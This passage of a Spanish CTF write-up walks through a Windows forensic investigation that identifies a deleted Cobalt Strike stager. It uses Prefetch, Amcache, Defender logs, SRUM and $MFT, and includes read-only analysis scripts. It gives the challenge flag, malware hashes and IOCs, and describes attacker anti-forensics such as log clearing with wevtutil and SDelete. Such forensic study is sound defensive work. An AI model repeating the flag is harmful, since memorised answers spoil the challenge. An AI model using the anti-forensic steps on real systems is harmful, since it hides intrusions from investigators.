VMPROTECT.EXE-ADABE41F.pf
WEVTUTIL.EXE-EF5861C4.pf
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-05.png` y recompilar.

Paso 6. Línea de tiempo de ejecuciones desde rutas de usuario

```
(kali@kali)-[~/ctf/horcrux]$
bash $S/prefetch_timeline.sh evid/Windows/Prefetch 'USERS|PROGRAMDATA|TEMP' | grep \
  -viE 'onedrive|google|brave|edge|chrome|defender|mpsigstub'
```

Salida esperada

```
Dec 20, 2021 12:44:37.086364500 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-KCM6S.TMP\WINSCP
    ↪ -5.19.5-SETUP.TMP
Dec 20, 2021 12:44:52.324464900 UTC | 2 | \USERS\GREGOR\DOWNLOADS\WINSCP-5.19.5-SETUP.EXE
Dec 20, 2021 12:44:53.286938500 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-IFTT6.TMP\WINSCP
    ↪ -5.19.5-SETUP.TMP
Dec 20, 2021 12:51:10.594780300 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\MICROSOFT\UNINSTALL.EXE
Dec 20, 2021 12:51:29.828081500 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-O1ALB.TMP\PACKED.
    ↪ TMP
Dec 20, 2021 12:51:34.002681800 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-OO94O.TMP\PACKED.
    ↪ TMP
Dec 20, 2021 12:51:45.065401800 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\IS-1M2PV.TMP\_ISETUP\
    ↪ _SETUP64.TMP
Dec 20, 2021 12:52:26.034224700 UTC | 1 | \USERS\GREGOR\DOWNLOADS\INJECT.EXE
Dec 20, 2021 15:03:39.093624600 UTC | 3 | \USERS\GREGOR\APPDATA\RUNAS.EXE
Dec 20, 2021 15:04:43.336057700 UTC | 2 | \USERS\GREGOR\DOWNLOADS\VBOXWINDOWSADDITIONS.EXE
```

```
Dec 20, 2021 15:06:51.370483000 UTC | 3 | \USERS\GREGOR\DESKTOP\HXD.EXE
Dec 20, 2021 15:07:16.221198800 UTC | 2 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\TOR.EXE
Dec 20, 2021 15:09:46.011103300 UTC | 1 | \USERS\GREGOR\APPDATA\LOCAL\TEMP\{FDE8EF61-1621-48DC-
    ↪ AEEC-A1146422445B}\FTK.EXE
```

Formato: última ejecución (UTC) | número de ejecuciones | ruta.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-06.png` y recompilar.

Paso 7. Detalle de ejecuciones (runas, tor, wevtutil, inject)

```
(kali@kali)-[~/ctf/horcrux]$
for f in RUNAS TOR WEVTUTIL INJECT; do sccainfo evid/Windows/Prefetch/$f.EXE-*.pf | grep \
  -E 'Executable filename|Run count|Last run time: [123]'; echo; done
```

Salida esperada

```
        Executable filename             : RUNAS.EXE
        Run count                       : 3
        Last run time: 1                : Dec 20, 2021 15:03:39.093624600 UTC
        Last run time: 2                : Dec 20, 2021 13:08:50.526311900 UTC
        Last run time: 3                : Dec 20, 2021 12:56:21.700668800 UTC

        Executable filename             : TOR.EXE
        Run count                       : 2
        Last run time: 1                : Dec 20, 2021 15:07:16.221198800 UTC
        Last run time: 2                : Dec 20, 2021 13:09:01.761015400 UTC
        Last run time: 3                : Not set (0)

        Executable filename             : WEVTUTIL.EXE
        Run count                       : 12
        Last run time: 1                : Dec 20, 2021 13:12:15.125620300 UTC
        Last run time: 2                : Dec 20, 2021 13:12:15.053536300 UTC
        Last run time: 3                : Dec 20, 2021 13:12:14.962758000 UTC

        Executable filename             : INJECT.EXE
        Run count                       : 1
        Last run time: 1                : Dec 20, 2021 12:52:26.034224700 UTC
        Last run time: 2                : Not set (0)
        Last run time: 3                : Not set (0)
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-07.png` y recompilar.

Paso 8. Amcache: SHA1 y metadatos de los ejecutables de Gregor

```
(kali@kali)-[~/ctf/horcrux]$
python3 $S/amcache_dump.py evid/Windows/appcompat/Programs/Amcache.hve --todo \
  2>/dev/null | grep -i 'users\\gregor' | grep -viE 'onedrive|google|brave|edge' | cut \
  -f1,2,4,5,6
```

Salida esperada

```
17de00205b7f464d70f8ecef14d7d1609b365fb2        56019336        accessdata      installshield
    ↪ setup.exe c:\users\gregor\desktop\ftk.exe
409aea9461d03bff3e006d3e7e7c4790a0862170        15360   microsoft       httpd.exe       c:\
    ↪ users\gregor\appdata\roaming\microsoft\windows\httpd.exe
f510721eb2e4ba451f73d0d3f96afae6a33cbbb0        6763520 ma?l h?rz       hxd.exe c:\users\gregor\
    ↪ desktop\hxd.exe
de275b64985009d335ab85b38d26a3026739a68a        226304                  c:\users\gregor\
    ↪ downloads\inject.exe
```

```
8e9b885a5544972d56a9e730b277b4df54832a65        76933800        vmprotect software
    ↪                                           c:\users\gregor\appdata\local\microsoft\packed.
    ↪ exe
4aa4b498ae037a2b0479659374a5c3af5f6b8d97        358784  sysinternals - www.sysinternals.com
    ↪  sdelete.exe     c:\users\gregor\appdata\runas.exe
99e107ca419959385ca57241fb6ed3796eaacc9e        231936                  c:\users\gregor\appdata\
    ↪ local\temp\tor.exe
b80a51f46b601e178180a70fa548bce4f62fea95        86528   bytepointer.com pelook.exe      c:\
    ↪ users\gregor\appdata\local\microsoft\uninstall.exe
db4ddce85f18f671d9aff6832a599f2483581c26        270840  oracle corporation
    ↪ vboxwindowsadditions.exe        c:\users\gregor\downloads\vboxwindowsadditions.exe
d35b0bcb01d0a10b0bb814e7b771bab77b99944a        11846088        martin prikryl
    ↪                                   winscp-5.19.5-setup.exe
    ↪  c:\users\gregor\downloads\winscp-5.19.5-setup.exe
```

Columnas: SHA1, tamaño, *publisher*, `OriginalFileName`, ruta. **Cosas raras:** `runas.exe` es `sdelete.exe`; `uninstall.exe` es `pelook.exe`; `tor.exe` no tiene metadatos; `httpd.exe` dice ser de Microsoft desde `AppData\Roaming`.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-08.png` y recompilar.

Paso 9. Windows Defender: detección de inject.exe

```
(kali@kali)-[~/ctf/horcrux]$
python3 $S/evtx_grep.py \
  'evid/Windows/System32/winevt/Logs/Microsoft-Windows-Windows Defender%4Operational.evtx' \
  inject --ids 1116,1117 | grep -E 'EventID|Threat Name|Path|Action Name'
```

Salida esperada

```
=== EventID 1116  2021-12-20 13:08:04.212959
   Threat Name: Trojan:Win32/Sabsik.TE.A!ml
   Path: file:_C:\Users\Public\Downloads\inject.exe
   Action Name: %%887
=== EventID 1117  2021-12-20 13:09:13.680716
   Threat Name: Trojan:Win32/Sabsik.TE.A!ml
   Path: file:_C:\Users\Public\Downloads\inject.exe
   Action Name: %%809
=== EventID 1116  2021-12-20 15:04:02.248278
   Threat Name: Trojan:Win32/Sabsik.TE.A!ml
   Path: file:_C:\Users\Gregor\Downloads\inject.exe
   Type Name: FastPath
   Action Name: No aplicable
=== EventID 1117  2021-12-20 15:04:40.438679
   Threat Name: Trojan:Win32/Sabsik.TE.A!ml
   Path: file:_C:\Users\Gregor\Downloads\inject.exe
   Type Name: FastPath
   Action Name: Cuarentena
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-09.png` y recompilar.

Paso 10. inject.exe nunca llegó a ejecutarse

```
(kali@kali)-[~/ctf/horcrux]$
python3 $S/evtx_grep.py evid/Windows/System32/winevt/Logs/System.evtx inject
```

Salida esperada

```
=== EventID 26  2021-12-20 12:52:26.356272
   Caption: inject.exe - Error del sistema
```

```
   Message: La ejecuci&#243;n de c&#243;digo no puede continuar porque no se encontr&#243;
    ↪ MSVCP140.dll. Este problema se puede solucionar reinstalando el programa.
=== EventID 26  2021-12-20 12:52:26.389742
   Caption: inject.exe - Error del sistema
   Message: La ejecuci&#243;n de c&#243;digo no puede continuar porque no se encontr&#243;
    ↪ VCRUNTIME140.dll. Este problema se puede solucionar reinstalando el programa.
=== EventID 26  2021-12-20 12:52:26.422010
   Caption: inject.exe - Error del sistema
   Message: La ejecuci&#243;n de c&#243;digo no puede continuar porque no se encontr&#243;
    ↪ VCRUNTIME140_1.dll. Este problema se puede solucionar reinstalando el programa.
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-10.png` y recompilar.

Paso 11. Logs cortados (limpieza con wevtutil)

```
(kali@kali)-[~/ctf/horcrux]$
cd evid/Windows/System32/winevt/Logs && python3 $S/evtx_range.py Application.evtx \
  Security.evtx System.evtx 'Microsoft-Windows-Windows Defender%4Operational.evtx'; cd \
  ~/ctf/horcrux
```

Salida esperada

```
Application.evtx                                  407 eventos   2021-12-15 11:13:10  ->
    ↪ 2021-12-20 13:02:02
Security.evtx                                    1861 eventos   2021-12-15 11:12:50  ->
    ↪ 2021-12-20 13:01:08
System.evtx                                       627 eventos   2021-12-15 11:12:48  ->
    ↪ 2021-12-20 13:01:10
Microsoft-Windows-Windows Defender%4Operational.evtx     55 eventos   2021-12-15 11:13:18  ->
    ↪ 2021-12-20 15:30:43
```

Application, Security y System terminan entre las 13:01 y las 13:02, mientras Defender sigue registrando hasta las 15:30.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-11.png` y recompilar.

Paso 12. SRUM: exportar la base de datos

```
(kali@kali)-[~/ctf/horcrux]$
mkdir -p srum && cp evid/Windows/System32/sru/SRUDB.dat srum/ && cd srum && esedbexport \
  -t srum SRUDB.dat | tail -2 && cd ..
```

Salida esperada

```
Exporting table 15 ({D10CA2FE-6FCF-4F6D-848E-B2E99266FA86}) out of 15.
Export completed.
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-12.png` y recompilar.

Paso 13. SRUM: qué binarios de usuario usaron la red

```
(kali@kali)-[~/ctf/horcrux]$
python3 $S/srum_net.py srum/srum.export | grep \
  -iE 'users\\gregor\\appdata\\(roaming|local\\temp)|users\\gregor\\downloads\\inject|runas'
```

Salida esperada

```
Dec 20, 2021 15:53:00.000000051 sent=800        recv=1214       \device\harddiskvolume2\users\
    ↪ gregor\appdata\roaming\microsoft\windows\httpd.exe
```

Evidencia clave: el único binario sospechoso con tráfico de red es `httpd.exe` (800 B enviados, 1.214 B recibidos). `tor.exe`, `runas.exe` e `inject.exe` no aparecen.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-13.png` y recompilar.

Paso 14. $MFT: llegada por drag & drop y crashes de httpd.exe

```
(kali@kali)-[~/ctf/horcrux]$
python3 $S/mft_record.py 'evid/$MFT' httpd.exe
```

Salida esperada

```
=== Registro MFT #1521  (EN USO DIR)
  $SI  creado=2019-12-07 09:14:52.220959 modificado=2021-12-20 15:11:36.215079 mft_mod
    ↪ =2021-12-20 15:11:36.215079 acceso=2021-12-20 15:11:36.215079
  $FN  nombre=ReportArchive  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive
       creado=2021-12-15 11:06:21.129419 modificado=2021-12-15 11:06:21.129419

=== Registro MFT #111015  (EN USO DIR)
  $SI  creado=2021-12-20 13:09:30.964169 modificado=2021-12-20 13:09:31.026581 mft_mod
    ↪ =2021-12-20 13:09:31.026581 acceso=2021-12-20 15:05:40.220976
  $FN  nombre=2021-1~1.964  ruta=\Users\Gregor\AppData\Local\Temp\VirtualBox Dropped Files
    ↪ \2021-1~1.964
       creado=2021-12-20 13:09:30.964169 modificado=2021-12-20 13:09:30.964169
  $FN  nombre=2021-12-20T13_09_30.964169800Z  ruta=\Users\Gregor\AppData\Local\Temp\VirtualBox
    ↪ Dropped Files\2021-12-20T13_09_30.964169800Z
       creado=2021-12-20 13:09:30.964169 modificado=2021-12-20 13:09:30.964169

=== Registro MFT #111027  (EN USO DIR)
  $SI  creado=2021-12-20 13:10:39.652452 modificado=2021-12-20 13:10:39.675064 mft_mod
    ↪ =2021-12-20 13:10:39.675064 acceso=2021-12-20 15:11:36.215079
  $FN  nombre=APPCRA~1.EXE  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\APPCRA~1.EXE
       creado=2021-12-20 13:10:39.652452 modificado=2021-12-20 13:10:39.652452
  $FN  nombre=AppCrash_httpd.exe_61d75d8da28e96822edcf0965c1faaab43d89_d06d61e9_7f8f696d-c11c
    ↪ -4984-b9f
9-6198229217e4  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_httpd.
    ↪ exe_61d75d8da28e96822edcf0
965c1faaab43d89_d06d61e9_7f8f696d-c11c-4984-b9f9-6198229217e4
       creado=2021-12-20 13:10:39.652452 modificado=2021-12-20 13:10:39.652452

=== Registro MFT #111050  (EN USO DIR)
  $SI  creado=2021-12-20 13:11:57.802886 modificado=2021-12-20 13:11:57.815541 mft_mod
    ↪ =2021-12-20 13:11:57.815541 acceso=2021-12-20 15:11:36.215079
  $FN  nombre=APPCRA~2.EXE  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\APPCRA~2.EXE
       creado=2021-12-20 13:11:57.802886 modificado=2021-12-20 13:11:57.802886
  $FN  nombre=AppCrash_httpd.exe_61d75d8da28e96822edcf0965c1faaab43d89_d06d61e9_6f737479
    ↪ -2688-4278-b20
8-67af5a7f0c01  ruta=\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_httpd.
    ↪ exe_61d75d8da28e96822edcf0
965c1faaab43d89_d06d61e9_6f737479-2688-4278-b208-67af5a7f0c01
       creado=2021-12-20 13:11:57.802886 modificado=2021-12-20 13:11:57.802886
```

`VirtualBox Dropped Files\2021-12-20T13_09_30...`: `httpd.exe` se arrastró desde el host a las 13:09:30. Dos informes WER `AppCrash_httpd.exe_...` a las 13:10:39 y 13:11:57. No queda registro del propio fichero (borrado).

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-14.png` y recompilar.

Paso 15. PCA (Compatibility Assistant) en el registro del usuario

```
(kali@kali)-[~/ctf/horcrux]$
strings -a evid/Users/Gregor/ntuser.dat.LOG2 | grep -i 'httpd'
```

Salida esperada

```
C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-15.png` y recompilar.

Paso 16. El binario ya no está en la evidencia

```
(kali@kali)-[~/ctf/horcrux]$
cd evid && find . -type f -print0 | xargs -0 sha1sum | grep -ci -e \
  409aea9461d03bff3e006d3e7e7c4790a0862170 -e 99e107ca419959385ca57241fb6ed3796eaacc9e \
  -e de275b64985009d335ab85b38d26a3026739a68a; cd ..
```

Salida esperada

```
0
```

0 coincidencias: el malware se borró (SDelete) y el equipo se restauró. Solo queda su SHA1 en Amcache.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-16.png` y recompilar.

Paso 17. Señuelo restante: uninstall.exe es PE Look

```
(kali@kali)-[~/ctf/horcrux]$
python3 $S/pe_info.py evid/Users/Gregor/AppData/Local/Microsoft/uninstall.exe
```

Salida esperada

```
Machine          : 0x14c  (x86)
TimeDateStamp    : 2020-09-12 23:38:04 UTC
e_lfanew         : 0xd0
NumberOfSections : 4
ImageBase        : 0x400000
EntryPoint (RVA) : 0xf393
SizeOfImage      : 0x18000  (0.1 MB)
Subsystem        : 3
DataDirectories  : 16
Firma Authenticode: no

Secciones:
  .text    VA=0x1000    VSize=0xf4e0    Raw=0xf600    entropía=6.48
  .rdata   VA=0x11000   VSize=0x4fd6    Raw=0x5000    entropía=5.47
  .data    VA=0x16000   VSize=0x190     Raw=0x200     entropía=2.69
  .rsrc    VA=0x17000   VSize=0x5b8     Raw=0x600     entropía=4.51

Recursos de versión:
  ProductName        = PE Look (pelook)
  OriginalFilename   = pelook.exe
  FileVersion        = 1.73 build 2009120
  ProductVersion     = 1.73 build 2009120
  FileDescription    = PE/COFF dump and conversion tool
  CompanyName        = bytepointer.com
  LegalCopyright     = copyright (c) bytepointer.com 2016-2020
  Comments           = freeware
```

```
Imports:
  VERSION.dll: 3 funciones -> GetFileVersionInfoA, GetFileVersionInfoSizeA, VerQueryValueA
  KERNEL32.dll: 40 funciones -> DeleteCriticalSection, GetLastError, GetModuleFileNameA,
    ↪ VerLanguageNameA, RtlUnwind, LeaveCriticalSection, HeapAlloc, GetProcessHeap ...
  imagehlp.dll: 1 funciones -> MapFileAndCheckSumA
  USER32.dll: 1 funciones -> MessageBoxA
```

Visor de PE legítimo de bytepointer.com, sin imports de red.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-17.png` y recompilar.

Paso 18. Pivotar los SHA1 en VirusTotal (API v3)

Requiere una clave gratuita de VirusTotal (perfil → *API key*); sustituir `TU_API_KEY` por ella. El script espera 16 s entre consultas para respetar el límite de 4 por minuto. Tras el reto, conviene regenerar la clave.

```
(kali@kali)-[~/ctf]$
VT_KEY="TU_API_KEY" bash $S/vt_lookup.sh 409aea9461d03bff3e006d3e7e7c4790a0862170 \
  99e107ca419959385ca57241fb6ed3796eaacc9e de275b64985009d335ab85b38d26a3026739a68a
```

Salida obtenida en la máquina del usuario

```
== 409aea9461d03bff3e006d3e7e7c4790a0862170
MD5: dbe0e10775e35a58e8ff463ccbe5f7d8
Nombre: httpd.exe
Familia: trojan.cobaltstrike/fugrafa
Detecciones: 61
== 99e107ca419959385ca57241fb6ed3796eaacc9e
MD5: 3e6f1f16a4cbbf7c5a5c077ab197bb50
Nombre: tag_converter.exe
Familia: null
Detecciones: 3
== de275b64985009d335ab85b38d26a3026739a68a
MD5: null
Nombre: null
Familia: null
```

`httpd.exe` es un *stager* de **Cobalt Strike** (61 detecciones). `tor.exe` es un `tag_converter.exe` renombrado (3 detecciones, sin familia). `inject.exe` no está en VirusTotal.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-18.png` y recompilar.

Paso 19. Flag

```
(kali@kali)-[~/ctf]$
echo "flag{dbe0e10775e35a58e8ff463ccbe5f7d8}"
```

Salida esperada

```
flag{dbe0e10775e35a58e8ff463ccbe5f7d8}
```

Aquí la flag es directamente el MD5 del binario (no se hace MD5 de ningún texto).

7.6. Resultado

Flag de H0rr0crux

`flag{dbe0e10775e35a58e8ff463ccbe5f7d8}`

Binario: `C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe` — 15.360 bytes, PE32, SHA1 `409aea9461d03bff3e006d3e7e7c4790a0862170`, MD5 `dbe0e10775e35a58e8ff463ccbe5f7d8`, detectado como `trojan.cobaltstrike/fugrafa`.

7.7. Línea de tiempo (20/12/2021, UTC)

Hora	Evento	Fuente
12:44–12:45	Instalación de WinSCP 5.19.5	Prefetch
12:50:49	`runas.exe` llega por *drag & drop* desde el anfitrión	`$MFT`
12:51:10	Ejecución de `AppData\Local\Microsoft\uninstall.exe` (PE Look)	Prefetch, Amcache
12:51:29–12:51:45	Instalador Inno Setup (`PACKED.TMP`) de VMProtect Demo	Prefetch
12:52:23–26	Llega `inject.exe`; falla al arrancar (faltan MSVCP140 y VCRUNTIME140)	`$MFT`, System.evtx (ID 26)
12:53:25	`VMProtect.exe`	Prefetch
12:56:21	Primera ejecución de `AppData\runas.exe` (SDelete)	Prefetch
13:01–13:02	Último evento en Application, Security y System	`.evtx`
13:08:03	Defender detecta `inject.exe` (`Trojan:Win32/Sabsik.TE.A!ml`)	Defender
13:08:50	Segunda ejecución de SDelete	Prefetch
13:09:01	Ejecución de `AppData\Local\Temp\tor.exe`	Prefetch
13:09:30	**Llega `httpd.exe` por *drag & drop***	`$MFT`
13:10:39, 13:11:57	**`httpd.exe` se cuelga** (informes WER `AppCrash_httpd.exe_...`)	`$MFT`
13:12:15	Última de 12 ejecuciones de `wevtutil`	Prefetch
15:03:39	Tercera ejecución de SDelete	Prefetch
15:04	Defender pone en cuarentena `inject.exe`	Defender
15:07:16	Segunda ejecución de `tor.exe`	Prefetch
14:53–15:53	**`httpd.exe`: 800 B enviados / 1.214 B recibidos**	**SRUM**
15:09–15:23	El analista ejecuta FTK Imager y copia las evidencias a `Desktop\evidencias`	Prefetch, `$MFT`

7.8. Candidatos y señuelos

Binario	Qué es realmente	Veredicto
`Downloads\inject.exe`	226.304 B, x64. Defender: `Sabsik.TE.A!ml` (detección genérica por ML). No está en VirusTotal	Señuelo: **nunca llegó a ejecutarse** (faltaban DLL)
`AppData\runas.exe`	**SDelete** 2.04 de Sysinternals (`OriginalFileName = sdelete.exe`)	Herramienta **antiforense**: borró el malware

Binario	Qué es realmente	Veredicto
`AppData\Local\Microsoft\uninstall.exe`	**PE Look** 1.73 (`pelook.exe`, bytepointer.com)	Herramienta de análisis renombrada, sin red
`packed.exe`, `PACKED.TMP`	Instalador de **VMProtect Demo**	Herramienta de empaquetado
`AppData\Local\Temp\tor.exe`	231.936 B, sin metadatos; VirusTotal: `tag_converter.exe`, 3 detecciones, sin familia	Señuelo (el Tor real pesa varios MB); **sin tráfico en SRUM**
`AppData\Roaming\Microsoft\Windows\httpd.exe`	15.360 B, PE32, *Microsoft Operating System 1.0.0.0* (falso), compilado el 09/06/2020; VirusTotal: **Cobalt Strike**, 61 detecciones	**Responsable de las conexiones**

7.9. Qué aporta cada artefacto

Prefetch	Qué se ejecutó, cuántas veces, cuándo y desde qué ruta.
Amcache.hve	SHA1, tamaño, fecha de compilación y metadatos de versión (`OriginalFileName`, *publisher*): destapa los ejecutables renombrados y conserva el hash de ficheros ya borrados.
SRUM (`SRUDB.dat`)	Bytes enviados y recibidos por aplicación y por hora: **decide quién hizo las conexiones**.
$MFT	Nombres e índices de directorios: *drag & drop* de VirtualBox, informes WER de *crash* y ausencia del fichero borrado.
PCA (`ntuser.dat.LOG2`)	El *Program Compatibility Assistant* registra la ruta de `httpd.exe` como ejecutada.
.evtx	Detección de Defender, fallo de arranque de `inject.exe` y logs recortados.
VirusTotal	Convierte el SHA1 de Amcache en MD5 e identifica la familia.

7.10. ¿Por qué Cobalt Strike y no Gozi?

El enunciado dice que las conexiones "*podrían* estar relacionadas con el malware Gozi": es una hipótesis del SOC, no un hecho. Lo que se pide es "el binario dañino **responsable de las conexiones**", y las evidencias son unánimes: SRUM atribuye el tráfico a `httpd.exe`, es el único de los candidatos que es malware confirmado y se disfraza de Microsoft. Además, en intrusiones reales **Gozi/Ursnif** se usa a menudo como acceso inicial y después despliega **Cobalt Strike**, así que la sospecha inicial del SOC encaja con lo encontrado.

7.11. Indicadores de compromiso (IOC)

Ruta	`C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe`
MD5	`dbe0e10775e35a58e8ff463ccbe5f7d8`
SHA1	`409aea9461d03bff3e006d3e7e7c4790a0862170`
Metadatos falsos	`ProductName: Microsoft Operating System`, `FileVersion 1.0.0.0`, `LinkDate 2020-06-09 00:17:15`
Herramientas del atacante	SDelete renombrado (`AppData\runas.exe`, SHA1 `4aa4b498...5c3af5f6b8d97`), `wevtutil`

7.12. Técnicas observadas (MITRE ATT&CK)

T1036	*Masquerading*: `httpd.exe` con metadatos de Microsoft; SDelete como `runas.exe`; `tag_converter.exe` como `tor.exe`.
T1071.001	*Application Layer Protocol: Web*: el *stager* de Cobalt Strike se comunica por HTTP.
T1070.001	*Indicator Removal: Clear Windows Event Logs*: `wevtutil`.
T1070.004	*Indicator Removal: File Deletion*: SDelete.
T1027.002	*Software Packing*: VMProtect Demo instalado en el equipo.

7.13. Contexto: ¿por qué se llama así?

- Un **Horrocrux** (*Harry Potter*) es un objeto en el que Voldemort esconde un fragmento de su alma para no morir: para vencerlo hay que encontrarlos y destruirlos todos.
- **Sorvolo Gaunt** (*Marvolo Gaunt* en inglés), abuelo de Voldemort, poseía el **anillo con la Piedra de la Resurrección** que Voldemort convirtió en Horrocrux: es el anillo de la imagen del reto y da nombre al fichero `evidencias_sorvologaunt`.
- **Paralelismo**: el "cuerpo" del malware fue destruido (borrado con SDelete y equipo restaurado), pero su "alma" quedó repartida en varios artefactos: Amcache (SHA1), SRUM (red), `$MFT` (llegada y *crashes*), PCA y Prefetch. Hay que reunir los fragmentos para identificarlo, igual que hay que localizar todos los Horrocruxes.
- **Gozi** (Ursnif, ISFB, Dreambot) es un troyano bancario de 2007, uno de los más longevos. Su código se filtró en 2010 y 2015 y dio lugar a decenas de variantes; algunas usan Tor para el C2 (de ahí el señuelo `tor.exe`).
- **Cobalt Strike** es una plataforma comercial de *red team* (Raphael Mudge, 2012) cuyo agente se llama *Beacon*. Las versiones crackeadas la han convertido en una de las herramientas favoritas de los atacantes. Sus *stagers* `.exe` pesan unos 14–15 KB, como este `httpd.exe`. **Fugrafa** es el nombre genérico que dan algunos antivirus a este tipo de binarios.
- **httpd.exe** imita al demonio del servidor web Apache (*HTTP daemon*): un proceso con ese nombre haciendo tráfico HTTP pasa desapercibido.

7.14. Conclusión

Con el fichero borrado, ningún artefacto por sí solo bastaba: Prefetch y Amcache dan la lista de sospechosos y el SHA1; los eventos y la `$MFT` descartan señuelos y reconstruyen la secuencia; SRUM identifica sin ambigüedad qué binario generó el tráfico; y la inteligencia de amenazas convierte el SHA1 en MD5 y confirma la familia.

A. Scripts utilizados

Código completo de los scripts de `~/ctf/repo/scripts`. Todos son de análisis: leen ficheros y no ejecutan nunca el malware.

`amcache_dump.py`	Vuelca `InventoryApplicationFile` de Amcache (SHA1, metadatos, ruta).
`evtx_grep.py`	Busca eventos en un `.evtx` por texto e ID.
`evtx_range.py`	Número de eventos y rango de fechas de cada log.
`go_decrypt.py`	Descifra la cadena AES-CFB de `LetsGo` con las tres claves.
`go_mips_disasm.py`	Desensambla funciones Go MIPS anotando llamadas y cadenas.
`go_pclntab.py`	Recupera nombres de funciones de `.gopclntab` en binarios Go *stripped*.
`kraken_emu.py`	Emula con Unicorn el descompresor de Crinkler y vuelca el código.
`kraken_solve.py`	Resuelve los hashes de APIs y descifra la flag de The Kraken.
`mft_record.py`	Parsea registros de la `$MFT` que contienen un nombre.
`pe_info.py`	Resumen de un ejecutable PE (cabecera, secciones, versión, imports).
`prefetch_timeline.sh`	Línea de tiempo de ejecuciones a partir de Prefetch.
`rtf_url.py`	Extrae la URL de los URL Moniker de un RTF.
`srum_net.py`	Uso de red por aplicación desde SRUM.

A.1. `amcache_dump.py`

amcache_dump.py

```python
#!/usr/bin/env python3
"""Vuelca InventoryApplicationFile de Amcache.hve (ruta, SHA1, tamaño, fecha de enlace, publisher).

Uso: python3 amcache_dump.py Amcache.hve [--todo]
Sin --todo oculta binarios de Windows/Program Files (salvo Temp y VMProtect).
"""
import sys

from regipy.registry import RegistryHive

hive = RegistryHive(sys.argv[1])
show_all = "--todo" in sys.argv
key = hive.get_key(r"\Root\InventoryApplicationFile")
n = 0
for sk in key.iter_subkeys():
    v = {x.name: x.value for x in sk.iter_values()}
    path = (v.get("LowerCaseLongPath") or "")
    n += 1
    if not show_all:
        if "\\windows\\" in path and "\\temp\\" not in path:
            continue
        if "\\program files" in path and "vmprotect" not in path:
            continue
    sha1 = (v.get("FileId") or "")[4:]
    print(f"{sha1}\t{v.get('Size')}\t{v.get('LinkDate')}\t{v.get('Publisher')}\t{v.get('
    ↪ OriginalFileName')}\t{path}")
print(f"# entradas totales: {n}", file=sys.stderr)
```

A.2. `evtx_grep.py`

evtx_grep.py

```python
#!/usr/bin/env python3
"""Imprime los eventos de un .evtx (EventID, fecha y campos de EventData) que contengan un texto.

Uso: python3 evtx_grep.py fichero.evtx [texto] [--ids 1116,1117]
"""
```

```python
import re
import sys

import warnings
warnings.filterwarnings("ignore", category=SyntaxWarning)  # avisos internos de python-evtx

import Evtx.Evtx as evtx

path = sys.argv[1]
needle = sys.argv[2].lower() if len(sys.argv) > 2 and not sys.argv[2].startswith("--") else None
ids = None
if "--ids" in sys.argv:
    ids = set(sys.argv[sys.argv.index("--ids") + 1].split(","))

with evtx.Evtx(path) as log:
    for rec in log.records():
        xml = rec.xml()
        eid = re.search(r"<EventID[^>]*>(\d+)<", xml).group(1)
        if ids and eid not in ids:
            continue
        if needle and needle not in xml.lower():
            continue
        ts = re.search(r'SystemTime="([^"]+)"', xml).group(1)
        print(f"=== EventID {eid}  {ts}")
        for name, val in re.findall(r'<Data Name="([^"]+)">([^<]*)</Data>', xml):
            if val and val not in ("%%830", "0", "0x0"):
                print(f"   {name}: {val}")
        if "<Data Name" not in xml:
            for val in re.findall(r"<Data>([^<]*)</Data>", xml):
                print("   ", val)
```

A.3. evtx_range.py

evtx_range.py

```python
#!/usr/bin/env python3
"""Número de eventos y rango de fechas (primer y último evento) de uno o varios .evtx.

Sirve para detectar logs borrados o cortados (por ejemplo, tras usar wevtutil).
Requiere: python3-evtx
Uso: python3 evtx_range.py Fichero1.evtx [Fichero2.evtx ...]
"""
import os
import re
import sys

import warnings
warnings.filterwarnings("ignore", category=SyntaxWarning)  # avisos internos de python-evtx

import Evtx.Evtx as evtx

for path in sys.argv[1:]:
    ts = []
    with evtx.Evtx(path) as log:
        for rec in log.records():
            m = re.search(r'SystemTime="([^"]+)"', rec.xml())
            if m:
                ts.append(m.group(1)[:19])
    name = os.path.basename(path)
    if ts:
        print(f"{name:45s} {len(ts):6d} eventos   {min(ts)}  ->  {max(ts)}")
    else:
        print(f"{name:45s}      0 eventos")
```

A.4. go_decrypt.py

go_decrypt.py

```python
#!/usr/bin/env python3
"""Go go go!: descifra la cadena AES-CFB embebida en LetsGo con las 3 claves candidatas.

Requiere: pip install pycryptodome
Uso: python3 go_decrypt.py
"""
import base64

from Crypto.Cipher import AES

CT_B64 = "wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Hk"  # rodata 0x159cb1
raw = base64.urlsafe_b64decode(CT_B64 + "=" * (-len(CT_B64) % 4))
iv, ct = raw[:16], raw[16:]
for key in (b"1KH1hb001Y09olUo", b"1KH1hb001Y09olU1", b"1KH1hb001Y09olU2"):
    pt = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128).decrypt(ct)
    pad = pt[-1]
